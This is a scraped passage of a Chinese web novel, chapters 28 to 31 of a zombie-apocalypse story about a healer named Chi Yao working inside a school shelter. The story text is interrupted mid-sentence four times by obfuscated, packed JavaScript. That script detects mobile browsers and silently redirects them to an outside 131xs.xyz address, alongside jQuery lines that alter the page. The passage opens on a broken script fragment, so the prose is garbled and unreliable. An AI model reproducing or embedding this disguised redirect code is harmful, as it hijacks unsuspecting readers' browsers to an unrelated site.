l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16113633|177659||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 冲他点了点头,郑承立刻明白了她的意思。 “不过然然和小宁怎么也在?”池遥忍不住问郑承。 “她们来应聘后厨帮工。”郑承解释道,“如果成功的话,就不用外出了。” 池遥闻言点点头。 与他们一起来到常青中学的学生们大多数都有对付丧尸的经验,但也有郑然和赵一宁这种从未杀过丧尸的人,这样的人,比起灵活的外出工作,更适合辛苦但安全的避难所内工作。 “其他人呢?”池遥问,“我一路过来,都没看到其他人。” “应该都在宿舍整理东西呢。我也是刚去办完入住就被许哥叫来了。”郑承回答,他似乎已经与许赫熟络了。 池遥这才知道,在她们下午和庄晴聊天的时候,其他人已经入住了宿舍。 当晚,在蔓蔓的引领下,池遥和吴心语在女生宿舍办理了入住。为二人办入住的工作人员就是宿舍内勤部门的幸存者,因为这里之前是高中女生的寝室,后勤部门的工作主要是清理每间房间的杂物,为后续入住的幸存者腾出空间,其次才是入住登记等等琐事。 避难所内人数不多,原本四人的寝室现在只需要两人就能入住。池遥和吴心语住在同一间宿舍,房间在二楼,正好是孟然和赵一宁房间对面。 打开宿舍房门,四人寝室内的杂物虽然已经被清理干净了,但床铺上印着动漫人物的床单,花花绿绿的床帘,抽屉里的没收走的空本子都昭示着有人居住的痕迹。 池遥选了靠门后的床位,铺位上的床单印着她熟知的动漫人物,临睡前,她伸手摩挲着床单上角色的脸,心中不禁想到。 原本住在这个位置上的学生现在怎么样,还好吗? 又是一个不停惊醒的难眠之夜。 池遥早早就起了床,庄晴让她早上八点到校园围墙边的小白楼门口集合。 小白楼前已经聚集了几个人影,这其中有池遥熟悉的蔓蔓和郑承,也有几个生面孔。 庄晴还没到,领头的人是个穿皮夹克,举手投足果断利落的女性,看到池遥过来,她立刻朝池遥伸出了手。 “初次见面。我是文茵,能力是把所以经由我手的物品变成小刀。” 文茵说这话时,池遥的手已经握住了她的手,听到她的话,与她交握的手不由地抖了抖,引来对方一阵爽朗的笑声。 “我是池遥,能力是治疗。”池遥回答道。 “知道,昨天庄晴已经跟我说过你了。你和你朋友是有对付行尸的经验对吧,今天跟着我们走一圈,看看能不能发现什么。”文茵一边说,目光看向站在另一边的郑承,她说话语气熟稔又爽朗,池遥和郑承不自觉地就被对方的节奏带着走,只知道跟着点头。 没过一会儿,庄晴就来了,零下几度的气温,她却只穿着一件紧身上衣和瑜伽裤,但当池遥瞥向庄晴的手背时,发现她的皮肤隐隐呈现出一种金属光泽,立刻明白,庄晴已经处于皮肤硬化的状态之下了,这种时候穿的越多反而越累赘。 “池遥,我昨天帮你查了名单,很遗憾。”一见到池遥,庄晴立刻开口。 池遥心里早有预期,只点头表示了解。 可惜,这一趟行动花费了一上午,大家却没发现任何异常,甚至连一只丧尸都没有发现。 没有异常就是最大的异常。 28. 常青中学4 食堂一楼原本是被清空的超市,大多数幸存者进了食堂大门会直接去楼上用餐,很少有人在一楼停留。 但是今天,一楼异常热闹。 许赫和郑承帮池遥从楼上搬来了成套的桌椅,摆放在超市空荡荡的结账柜台边。柜台前贴上了一块简陋的纸质牌子,上面用白板笔写着“医疗角”三个大字。 待一切布置完毕,池遥站在超市门口,反复端详了半天,最终拿出一支笔,在医疗角三个字下方写了一行小字:“每日仅限五人”。 这就是庄晴给池遥安排的工作,常青中学内虽然能满足最基本的生存需求,但却没有多少药物储备,收容的幸存者里也没有医生,外出搜查的人一旦负伤,很难得到相应的药物,只能靠自愈。 此时刚过午饭时间,来往的幸存者数量众多,路过的人们都会偏头打量一番池遥的医疗角,没过一会儿,她就迎来了第一个客人。 “大夫,我昨天外出,手臂被路上的钢架划了一个口子,您看可以治吗?” 来人掀开衣袖,露出一条从手肘到小臂的长伤疤,伤口看上去刚结痂不久,十分狰狞。 “能治。”池遥扫了一眼伤口,点点头,“别叫大夫了,我叫池遥,你叫名字就行。至于费用......你随意留下点什么东西吧,什么都可以,我会看着治的。” 对方沉默了一会儿,从衣服口袋里掏出了一个小型充电宝。 “这个充电宝已经没电了,你看这个行吗?我身上除了这个也没什么东西了。” “可以的。”池遥接过充电宝,放在柜台下方的抽屉里,随即伸出手,握住了伤者的手。 柔和的暖意从掌心中缓慢蔓延开来,那条狰狞的伤疤以肉眼可见的速度迅速恢复,最终只剩下一道淡淡的疤痕。 “可以了。”池遥冲对方点点头,“还有,我想问一个问题。” 她掏出早已准备好的曲卓的照片,放在柜台的透明桌垫之下。 “这个人,你见过吗?” “没,没见过。” “好,你可以走了。” 第一位伤者走后,池遥盯着自己释放能力的手掌,随着能力的多次使用,她能感觉到自己对于能力的掌控正在逐渐变得娴熟。 池遥给第一个人治疗时,周围围了不少看热闹的人,见池遥使用能力治疗了对方的伤口,顿时躁动起来,第一个人刚走,柜台前就排起了长队。 “大家注意。”池遥不得不站起来,“每天最多治疗五个人,今天还剩四个名额。” 听到这话,排在队尾的人们纷纷散去,但也没有直接走开,而是重新回到围观的人群里。而排在第四名后面一两位的人听了池遥的话表情有些变化,但仍没有走开,池遥见他们没动作,就不再干预,坐下来给第二个人治疗伤口。 接下来的第二位,第三位都是不严重的皮外伤,很轻易就治好了。在治疗结束后,池遥都会让他们看一眼曲卓的照片。 第四人走到池遥面前时,露出戴着手套的双手,他摘掉左手的手套,池遥才发现,他的左手缺了两根指头。 “这是丧尸刚爆发的时候意外受的伤。”对方开口道,“我手里有多余的物资,你想要餐券的话我手里也有,拜托您,帮我治一下我的手好吗?” 池遥定睛看去,只剩三根手指的手掌微微颤抖,断指的切面平整,一个月过去,手上的伤口已经基本愈合了。 这似乎...... 池遥闭上眼睛,深深吸了一口气,脑海中再次浮现出自己的能力内容。 【加速治愈:能够加快伤口自动愈合的速度,但要消耗自身的生机。注:无法治愈自己。】 “抱歉。”她睁开眼,藏在桌下的手紧攥成拳,冲伤者解释道,“我的能力严格来说是加速治愈,只能治疗本来就能自愈的伤口。您的伤,我爱莫能助。” 面前的人重新戴好手套,一言不发地转身离开。 池遥叹了口气,继续为下一个人治疗。 这一天的五个人全部治疗结束,围观的群众却并没有离开的意图,仍旧围在超市门口向内张望。 而池遥伏案不知写了什么,没过一会儿,站起身,将一张写了字的白纸贴在柜台前,转身离去。 白纸上文字不多,是池遥刚写下的医疗角营业规则。 “医疗角每天下午两点起开始营业,每日限治疗五人。费用随意。 备注:能力有限,只医治外伤,不负责疾病。” 治疗结束后,池遥带着收获的物品来到天赋者小楼,将自己今天治疗的具体情况和收费情况写成一张表格交给庄晴。 “你看这样可以吗?” 庄晴正在对照着常青中学附近的地图标记可能有行尸出没的点位,闻言接过表格。简单扫了一遍。 “你觉得今天的工作强度如何,会损伤你的身体吗?” “今天的五个人受的伤都不严重,我还应付得来。”池遥点点头,而且随着她的能力精进,每一次治愈的损耗也在减小,这一次治疗完五个人,她感受到的疲惫感远低于前几次。 “那就好。”庄晴拍拍她的肩膀,“还是要留出一部分能力备用的。你每天都整理出这样的一张表格,晚上凭表格去岳溪那里领一张餐券。去岳溪那里的时候顺便和她聊聊天,如果发现有人对她图谋不轨的话一定要第一时间通知我。” 池遥点点头。 现在她知道为什么大家晚上都会聚集在岳溪身边了,原来是要去岳溪那里领工资啊。 虽说在避难所内有了工作,但这个工作时间似乎连一个小时都不到,而在工作时间以外...... 池遥想要尽可能的提高体能。 闲暇的下午时光,池遥和郑承在小楼里找了一间没人的教室,交流最近两天的见闻,就向郑承提起了此事。 她的能力并不能加强战斗,因此,只能凭借自己的能力对付丧尸,她现在的体能还远远不足。 “这事简单。”郑承提议道,“我不是和周文博一个宿舍吗,老周说他认识了一个幸存者, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16124836|177659||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 末日前是健身教练,你如果想增强体能,干嘛不找他试试呢。” 二人立刻动身,来到了常青中学的体育馆。 常青中学的体育馆仅有一层,但占地面积倒是很大。末日后,这里变成了幸存者们的交易市场,大家在这里以物易物,也有拥有特殊技能的人以此赚取物资。 周文博认识的健身教练就在体育场内,体育场内气温不高,但他却穿着一件紧身背心,展示出他魁梧的倒三角身形,搓衣板似的八块腹肌。 “看看这腹肌,这肱二头肌,这也练得太好了!”周文博对此赞不绝口,在末日前,周文博也是个健身狂人,此时围着对方称赞个不停。 池遥微微蹙起眉头,她上下打量着面前健身教练因为发腮而变成标准正方形的脸,健硕的斜方肌,过于健壮的上半身以及与之相比显得有点细弱的大腿,有些怀疑自己的决定。 “要我带你健身?”对方的态度更印证了这一点,“当然没问题了!但我末日前也是在顶级健身房就业的私教,专业素养没的说!这费用......” 池遥面无表情的将一瓶香水递给对方,这是她和郑承在工程大学的时候找到的,是一个高奢品牌最有名的男士香水。 “这位美女出手真是阔绰呀。”教练眉开眼笑地接过香水瓶子,立刻换了一副严肃的表情,“健身是一件长期坚持的事,所以我们的第一课不是直接开始锻炼,而是要针对你的身体情况做出科学的规划。” “比如说,美女,你别嫌我的话不爱听啊,虽然你的身材已经很瘦了,但还是有很多瑕疵。比如你这脖子上的颈纹,手臂上的拜拜肉,腰胯的问题也很严重啊,你是不是假胯宽?” “咳!” 池遥大声咳嗽一声,制止了教练的喋喋不休,“我之前似乎已经说过我的需求,我的目标不是塑形,是提高体能,你刚才说的这些问题,和外出打丧尸有关系吗?” “话不能这么说啊美女,你看你长得这么漂亮,身材也这么好,就差我刚才说的这几个小问题,咱们但凡把它们一改善,您立刻从小美女变成大美女啦!而且我们健身的主要目的虽然是减脂塑型,但过程中会自然而然的提高体能的,你不能把提高体能当做目标啊,这不是本末倒置了吗。” 池遥深深地,叹了一口气。 “我是要外出打丧尸。”她最后重复了一遍。 “是,我知道,您刚才说了好几遍了嘛。但丧尸有天赋者们抵挡,我还是觉得您应该专注于自身,您就按照我的规划,一个月之后保证您脱胎换骨,无痛变美。您这个年龄的小女孩都是这么做的。你说等您变美之后打扮得漂漂亮亮的,和天赋者处对象,这不比您亲自出马打丧尸轻松多了吗。” 池遥盯着教练,问道:“教练,你打过丧尸吗?” “我,我没有啊。丧尸爆发之后不久我就来避难所了,哪有机会和丧尸过招......” 这下,池遥彻底不想说话了,她直接扭过头,用质疑的目光看向羞愧得满脸通红的周文博。 29. 常青中学5 “哇!好结实的肱二头肌!好结实的胸肌腹肌!有用吗?不能打丧尸你说这些有什么用!” 次日凌晨五点,空无一人的小路上回荡着吴心语的怒吼。 “哎呀,我真的没想到他是个花架子,我错了!”被吴心语揪着耳朵的周文博可怜兮兮。 “你没错!你就喜欢人家的肱二头肌,你哪有错!” “心语,我真的错了,你别骂我了行不行......” 前面的两人打打闹闹地跑远了,在他们身后不远处,郑承苦笑着看完前面的闹剧,侧过头问池遥。 “怎么样,还生气吗?” “不生气了。”池遥摇摇头,她昨天离开体育馆之后十分生气,很想数落周文博一番,最终还是忍住了,回宿舍之后对着吴心语吐槽了一个小时。 结果现在看着对周文博破口大骂的吴心语,气彻底消了。 “那就好。”郑承松了口气,“比起找教练,还是早起锻炼靠谱,以后咱们每天都这个时间来跑步?” “我还没忘,昨天就是你第一个出馊主意的。”池遥闷闷地反击一句,“我是打算每天这个点都出门跑步的,白天还有其他事情。而且我睡眠质量一直都不好,反正也睡不着,不如起来锻炼身体。但你们不用每天都陪着我的,我自己一个人就可以了。” “那恐怕是不行了。周文博那个大喇叭,昨天把你要早起跑步的事传了个遍。” 郑承的话音刚落,就听到了周文博在前面叫他们的声音。 “诶!池遥!你俩跑快点呗!林晟和程煜也来了,我们在前面路口等你俩!” “你看,人只会越来越多。”郑承冲池遥笑道。 “是啊。”池遥叹了口气,和郑承一起加速冲了上去。 就这样,在避难所的生活十分充实。 基于郑承和吴心语的能力,庄晴将他们二人规划成外出的特殊小队,每天上午去更远处搜集情报。 下午吴心语还会来到池遥的医疗角,在池遥忙着治疗的时候帮助她写工作表格。 池遥的舍友孟然和赵一宁成功入职后厨,孔欣和周琳琳则入职了宿舍后勤部。 周文博和程煜并没有在避难所里工作的打算,而是跟随小队每天外出搜查,至于林晟则去了安保部门,负责检查外来的幸存者。 每个人都在避难所里找到了合适的位置。 然而,池遥却仍旧没有离开的打算。 大半个月过去了,他们却仍旧没有找到行尸的踪影,这段时间里,又有两支小队全员失踪。 池遥也跟随文茵等人追踪过行尸的踪迹,结果仍旧是一无所获。 此时,池遥仍旧坐在超市柜台前,开启了新一次的治疗工作。 经过了半个多月,幸存者们都理解了池遥这里的规矩,每天还没到两点,就排满了五个人,只等她前来治疗,也没有人再过来围观了。 池遥把曲卓的照片贴在了柜台上最显眼的位置,路过的人都能看到这张照片,但却连一个对曲卓有印象的人都没找到。 “池遥!”远远地,传来了林晟的喊声。 池遥为最后一个人治疗完毕,顺着声音的方向看去,林晟刚气喘吁吁地跑进来,气都没喘匀,就急忙开口。 “池遥,快跟我去小白楼,出了点事。” “小白楼?”听到这话,池遥急忙收拾东西跟林晟出门,“出什么事了?又接收新的天赋者了吗?” 池遥来到常青中学避难所的这段时间里,常青中学又收容了两伙普通人,避难所总人数接近一百五十人。 或许是末日降临已经有一段时间了,在外游荡的幸存者数量越来越少,避难所接收新人的频率也越来越低了。 但听林晟的话,难道是有天赋者来了? “不是,是有一伙新来的普通人,但他们受的伤太重了,而且有点奇怪,所以先把他们安置在小白楼,蔓蔓把我传送过来,找你来看看他们的情况。” “奇怪?哪里奇怪?”二人说话间,已经来到了天赋者小楼附近,距离小白楼只剩下几分钟的路程。 “他们身上的伤痕......有咬伤。”林晟蹙起眉头,神色有些晦暗,“你也知道,一旦被丧尸咬到,在很快的时间之内就会立刻变成丧尸。他们身上的伤痕虽然和丧尸的咬痕一模一样,但却没有变成丧尸的征兆。” “咬伤啊......”池遥快速调动思维,回想自己末日以来的经历,想到自己在旧车库初次拿到吊坠的情况,想到自己和郑承在吊坠中看到的众多尸体,开口问道。 “林晟,你说,被行尸咬伤的人,会变成丧尸吗?” 池遥不是没见过行尸吃人的场景,但她并不知道被行尸咬伤的活人会变成什么样子。 “你说,有可能是被行尸咬伤的?”林晟问道。 “嗯。”池遥点点头,此时两人终于来到小白楼大门口,池遥敲了敲门,听到里面传来蔓蔓的声音后,立刻推门走了进去。 “池遥姐姐!你来啦!”蔓蔓正好走到门口接应她,“你快过来看看情况,林晟哥哥,能再麻烦你去找庄晴姐姐他们过来吗?” 林晟显然是想和池遥一起多待一段时间,听到蔓蔓的话,第一时间看向池遥,才叹了口气。 “行吧,具体要找谁,他们都在哪儿?” “庄晴姐姐和文茵姐姐这个时间点应该都在天赋者小楼里,麻烦你跑一趟了。”蔓蔓送走了林晟,才转过身来,看向池遥,脸色有些沉重。 “池遥姐姐,跟我来吧。” 池遥点点头,跟着蔓蔓朝走廊深处走去,没走几步,就闻到了浓烈的血腥味,越往前走,气味越浓。 走廊深处的一间房间里,倒着三个遍体鳞伤的人,他们浑身上下简直没有一块好肉,在零下十几度的天气里,只穿着一件单衣,裸露在外的皮肤冻得发青。 这三个人全部称得上是重伤,有两人已经陷入昏迷,只剩一个人伤势稍轻,半睁着眼睛,在温暖的室内仍旧颤抖个不停。 “你看能稍微治疗一下吗?”许赫在旁边叹了一口气,“至少别让他们死了,那个还醒着的人不知道遭遇了什么事,语无伦次的,话都说不清楚,更别提测谎了。” 池遥蹲下身,伸手轻轻触碰了一下还醒着的人,只是轻微的触碰,那人却大幅度的颤抖起 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16135572|177659||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来,不顾自己手上的身体,拼命挪动着身躯想要逃脱。 “啧,”许赫在一旁看着干着急,“这些人到底经历了什么,怎么会变成这样?” 醒着的人不配合,池遥便换了人,转而探查一旁昏迷的两个人的伤势,她今天治疗的几个幸存者都是小伤,再加上她的能力也在不停精进,之前的损耗对她而言并不算严重,但这三个人受的伤实在过于严重,池遥就算用尽能力,恐怕也只能治好其中一个人。 “你很着急审问他们吗?”她犹豫着开口,“我的能力只能治愈一个人,但这样的话其他两人就得不到治疗了。” 许赫沉默了,没有给出肯定答案,也没有否定。 “有两个办法,”池遥整理了一下思绪,开口道,“第一个,我治好一个人,你就可以立刻测谎,但其他两个人我需要休息一段时间才能治疗。” “第二个,我只治好这三人的致命伤,但昏迷的两个人估计还要一段时间才能醒来,你们可能要明天才能知道他们的情况。” “不过,”没等许赫开口,池遥继续说道,“从刚才开始,我就想问一件事,这次来的只有这三个人吗?他们受了这么严重的伤,是怎么来到避难所大门口的?” “当然不是,他们一共四个人,另一个人没有受任何伤,身上也没有咬痕,除了看着憔悴一点之外,没有问题。但我还没有审问。” 池遥闻言抬头盯着他的眼睛,眼神中的意味十分明显——为什么不问? “另一个人,是个孕妇。” 没想到是这样。 池遥一时也不知道该说些什么,两个人面面相觑,少见的陷入了沉默。但很快,这样的沉默就被一阵飒爽的脚步声打断。 “让我来看看怎么个事儿?”文茵的大嗓门比她先一步到达房间内,很快,庄晴和文茵就一起走了进来,她们的步伐快而有力,这两个人又都是高挑的身形,身后的林晟跟得气喘吁吁。 “下午午休的时候,有一个孕妇跑来说她的伙伴受了重伤,我带着人跟着过去,在一栋废弃的仓库里找到了这三个人。”许赫把这三人的情况告诉了庄晴,“经过检查,这三个人身上的伤口很新,而且有很多明显的咬伤,和丧尸的咬伤非常像,但鉴于他们现在也没有变成丧尸的征兆,可能是其他生物或者人类的咬伤。唯一一个醒着的人神志不清,说话语无伦次,没法测谎。” 池遥在一旁将自己刚才提出的两个办法原样讲给了庄晴听。 “最重要的是保全这三个人的命。”庄晴第一时间做出判断,“池遥,你只要把他们的致命伤治好就行。在其他两人醒来之前,这三个人就隔离在这个房间里,他们一醒,许赫你立刻询问他们的情况。” “那个孕妇呢?”文茵在旁边感慨了一句,“现在这个世道,能遇到孕妇实在太不容易了。” “孕妇被我们带到隔壁的房间里了,你们想见的话现在就可以见。” “那先去问问那个孕妇知道多少。如果知道得不多的话,就直接带去避难所里吧。额外多给她一张餐券。”庄晴立刻做出判断,跟着许赫离开了房间,离开时,还拍了拍蹲在一边治疗伤者的池遥。 30. 常青中学6 治疗重伤患者的感觉与轻伤者的感受完全不同,为受伤不重的人治疗时,池遥能明显的感受到,是自己在输送掌心中的热流给对方。 但为重伤者治疗时,池遥一旦松懈下来,掌心中的热流就会不受自己控制地被重伤者吸收掉,因此,在治疗时,池遥要打起百分之百的精神,丝毫不能走神。 治疗完三个人,池遥累得动都不想动弹,索性将房门打开,倚着门框缓缓坐在地上。 “还好吗?”林晟一直没走,在池遥刚结束治疗时,就想上前扶她,看到她席地而坐后才收回了手。 “累死我了。”池遥长长地出了一口气。 尽管已经极力控制,但一连治疗三个重伤的人依旧让她力竭,幸好这将近一个月以来的经验让池遥只感觉到了身体的疲惫,但精神和意识却没有受到任何影响。 许赫口中的孕妇就在隔壁房间,但庄晴等人刚刚进门后关紧了房门,即使池遥打开了所在房间的门也听不到任何声音。 不知道那边具体是什么情况。 “你还要在这里待着吗?”林晟问她,“要不要送你回宿舍休息?或者你想去什么地方吗?” 听了林晟的话,池遥的目光扫过房间里的三名伤患,唯一一个醒着的人也在被池遥治疗后陷入了睡眠,房门外有不少普通人把守,即便她现在离开想必也不会出事。 “庄晴他们一会儿应该会回天赋者小楼,我先回小楼吧。”池遥一把拉住林晟适时伸到她面前的手,站了起来,慢吞吞地走出了房间。 “我陪你一起!”林晟急忙跟了上来,“你现在身体状态不好,我不放心你一个人过去。” 池遥盯着面前的人,看了许久,忽然问道。 “我之前在北城大学食堂晕倒那次,吓到你了?” 在池遥的印象里,林晟此人一向是个懒散倦怠的人,无论什么时候,他总是一副松弛到极点的模样。就算是末日降临之后,在食堂重逢,他也总是坐没坐样地歪倒在某处,没个正行。 但此时的他,全然没有了往日懒散的样子,跑前跑后通知众人的样子十分可靠,盯着池遥的眼神中满是担忧和关切,以及或许连他自己都解释不清的那一点点复杂情愫。 他是什么时候变成这个样子的呢? 池遥也没印象了。 来到常青中学后,不可避免的,池遥和常青中学的天赋者们走得更近,和林晟反而除了每天清晨一起晨跑之后,就没有更多交流了。 “那次确实吓到我了。” 与池遥的目光相触,林晟不由地躲闪开来,但只过了片刻,又犹犹豫豫地对上了池遥的视线,轻声说道。 “不用担心。我现在也成长了不少,已经不会让自己陷入上次那样的危险境地了。”池遥安慰了林晟一句,不再逞强,任由林晟扶着她,慢慢离开。 天赋者小楼里有几间屋子里有大沙发,池遥直接倒在沙发上睡了几个小时,睡梦当中隐约能感觉到林晟走动,离开,关门开门的动静。再醒来时,才感觉身体恢复了些许力气。 天已经黑了,楼上传来庄晴等人的说话声,听不清具体内容,只能隐隐感觉到说话者的情绪十分激动。池遥循着说话声,摸黑来到三楼,透过窗户看到庄晴等人聚集在一间会议室里。 按理来说,已经到了入睡的时间,平时的这个时间,她早就和吴心语回到宿舍里了,但此时,透过照进会议室里的月光,池遥在聚集在会议室长桌上的天赋者中,看到了吴心语的身影。 昏暗的光线下,庄晴坐在会议室长桌的正中间,岳溪和文茵二人分别坐在她的左右两侧,三人正在激烈讨论着什么,其他天赋者们在长桌两侧一字排开,与岳溪坐在一排的大多是在避难所内部工作的天赋者,例如许赫和蔓蔓,与文茵坐在一排的则是跟随她外出对抗丧尸或者有外出工作的天赋者,池遥在这些人中看到了郑承和吴心语的身影。 看来常青中学的所有天赋者都聚集在此处了。 当然,是除池遥以外。 不知道庄晴他们是什么时候从小白楼回来的,也许一回来就组织所有人开会了,只是那个时候池遥睡着了,才没叫上她。 “咚咚!” 池遥叩了两下门,不等门内传来回应,就打算推门,然而门口似乎拦着什么东西抵住了门,让她无法将会议室门彻底推开。 “哪位?”一个不太熟悉的男声自门后响起。 “池遥。” 门后的人终于打开了门。 他个子对于池遥而言有点高,又挡住了光,让池遥一时看不清他的模样,不过他架在鼻梁上的眼镜框立刻让池遥知道了他的身份。 是庄晴的男友付恒。 庄晴和男友在一起将近两年,也算是共患难同生死的关系,池遥和吴心语和这个人没有任何来往,但鉴于他每天傍晚都来小楼接庄晴,池遥和吴心语也跟着和他见了不少次面,但或许是他的长相没有特点,池遥到现在还是记不清他的相貌。 池遥一进房间,刚刚还在争论的庄晴三人顿时都噤了声,齐齐看向她,最后是庄晴开了口。 “池遥,你睡醒了?身体怎么样?本来想叫你开会的,看你还在睡觉,就没有吵醒你。” “我现在没什么事了。” 池遥一边回应,一边从文茵背后穿过,坐在了吴心语和郑承中间的空位上,一坐下,郑承和吴心语就轻声告诉她错过的内容。 “会议刚开始没多久,你也没错过什么东西。” “岳溪刚才建议暂停收容新人,然后她和茵茵姐就吵起来了。”吴心语和池遥平时都和文茵接触更多,说起话来很明显倾向文茵,“岳溪的意思是既然新来的人有风险,还不如把避难所封闭起来,大家自己在避难所里好好过日子。茵茵姐觉得庄晴建立避难所的初衷就是为了保护更多人,哪能因为有风险就不救人了。” “之后庄晴开始调解他们,”郑承接过了吴心语的话,“但调解到一半,岳溪问庄 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16140719|177659||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 晴怎么想,庄晴说她不打算封闭避难所,就又吵起来了。” “之后岳溪说她建议封闭是因为除了外来者有风险以外,她的能力每天最多只能产出二十斤面粉,现在避难所扩张到一百五十人,她的产出已经供应不了这么多人的一餐了。” 池遥侧过头,隔着很远的距离,打量起了坐在庄晴身旁的岳溪。 作为避难所里最宝贵的天赋者,岳溪身边围绕的人实在太多,天赋者们受庄晴的嘱托,总是守在她身边默默保护,而普通人也都知道每天的午餐由她负责,对岳溪的态度很是尊敬。 正因如此,在众多看上去饱经风霜的天赋者当中,唯有岳溪还保持着和平时代的模样,她从来不需要为物资发愁,无论什么时候都保持一副精致优雅的样子,在末日之下面带愁容的人群当中十分显眼。 和避难所其他天赋者比起来,池遥和岳溪的接触实在不多,也判断不出岳溪究竟是个什么样的人,但她平日里和庄晴,文茵等人关系很好,庄晴和文茵都是十分可靠,有责任感的人,庄晴的父亲管理整个避难所,平时很少露面,也是一位和蔼的长辈。 “可是,岳溪,既然你早就发现这件事,为什么之前不跟我说?除了你的面粉,避难所还有其他物资,我们可以提早想办法。” 就在池遥三人开小差的时候,庄晴和岳溪的矛盾仍然没有终止。 “因为那时我......”岳溪的话音戛然而止,她忽然偏过头去,目光越过庄晴,看向了更远处,片刻后收回视线,“我觉得没必要给你添麻烦。” “吃饭的事是避难所里的第一大事,怎么能称得上是麻烦。”庄晴的语气缓和下来,她拍了拍岳溪的肩膀,“你放心,午餐的事我们会想办法,不让你一个人负责。” “对啊,我带人外出的时候也帮你留意着,多少能带点物资回来。”文茵也缓和了情绪,主动开口。 “那这件事我明天会给出解决方案。”庄晴看向池遥,“既然池遥来了,我们来说一下今天最重要的事,也是大家都知道的,今天新收容的四个人的事情。” “四个人中有三人重伤,而且身上有疑似咬痕的痕迹。剩下的一个人是个孕妇,我和许赫下午审问后发现没问题,先把她带去避难所了。” “如果这三个人身上的咬伤是丧尸造成的,那么他们为什么没变成丧尸,是他们有问题,还是丧尸有问题?如果这三个人身上的咬伤是行尸造成的,那么我们就得到了一个情报,被行尸咬的人不会变成丧尸。但这也证明我们的基地周围一定有行尸的驻扎点。不仅是我们在防范它们,行尸也同样在防范我们,甚至有可能对我们虎视眈眈。” 听到庄晴的话,围坐在一起的天赋者们齐齐看向了庄晴,聚精会神地听庄晴说正事,而池遥则看向了会议室门口,刚刚岳溪的目光所在之处。 不知何时,会议室门口空空荡荡,庄晴的男友付恒已经不在房间里了。 刚刚岳溪在看的人,是付恒吗? 31. 常青中学7 房门被骤然打开,一伙人快速走了进来,她没抬头,视线里大部分是鼓鼓囊囊,将衣服顶起一块的腹部,在视野边边角角的碎块里,她看到了来者的鞋子,为首的人穿着一双顶奢牌子的限量版长款雨靴。 几个月前,她刷手机的时候曾经看到过这双鞋子,尽管是顶级的奢饰品,但如此张扬的颜色与造型也不适合日常生活,只有那些好面子的有钱人们才会买。 最贵的时候,这双鞋甚至被炒到了六位数。 而此时,世界秩序已然崩溃,她面前的人却踩着这样一双奢侈的鞋子,开口问话。 “你叫什么名字?” “李艾。” 李艾报上自己的名字,目光顺着那双满是金钱光泽的鞋,上移到对方在冬季穿着明显过于单薄的紧身裤,厚外套,最终转移到对方那张明艳张扬,尽管多了几道伤口,皮肤也变得粗糙,但仍旧无法掩盖美貌的面容上。 “你!” “我怎么了?”还没开始问话,坐在房间里的孕妇就一脸震惊地盯着自己看,庄晴烦躁地搔了两下面颊,“这么惊讶,我脸上有什么吗?” “我认得你!” 有一瞬间,对方的视线尖锐得仿佛要刺破庄晴的面皮,深入到骨肉当中,要不是庄晴感受到那目光并无恶意,恐怕就要直接出手了,但庄晴还是压抑下自己的情绪,平静地回答道。 “哦,我前几年在北城确实蛮有名气的,你认得我也不是什么大事啊。” 庄晴的父亲是私立高中校长,母亲在国外经营自己的贸易公司,庄晴小时候家里条件一般,但很快,母亲的公司一鸣惊人,连带着庄晴也变成了富二代。 凭着家里的财力,庄晴在年少不经事的时候也有一段纨绔不羁的黑历史,还曾经做过社交媒体博主,粉丝接近六位数。 坐在沙发上的孕妇虽然面容憔悴,身材瘦弱,但细看年纪不大,比庄晴大不了几岁,认识庄晴也很正常。 “是这样啊。” 意识到自己的反应过于夸张,李艾镇定下来,再次唯唯诺诺地低下了头,脑海中却仍然浮现着庄晴的脸。 她永远不会忘记这个人。 在她两年前最痛苦最无助,每天反反复复刷新社交媒体动态的时候,看到了她的视频。 在视频里,浑身名牌,明艳又自信的庄晴挽着另一个人的手,另一个人入镜显得有点不自在,和她一起小声念出视频标题:“sunny的一日vlog!” 就是她,庄晴。 “哈喽大家好,我是sunny!你们都说看我的日常看腻了,今天我可不是一个人出镜的!”视频里的女孩得意地晃了晃两人连在一起的手,“之前还有人问我是否单身,现在全网回复一下哈,我——不——单——身——”女孩夸张地拉长音调,摆出各种搞怪的表情,而身旁长相普通的青年目光一直追随着她,笑容平和又带着些讨好之意,与李艾记忆中截然不同。 他们很般配,一切都很和谐。 如果视频中的青年不是李艾当时的男友——付恒,就更好了。 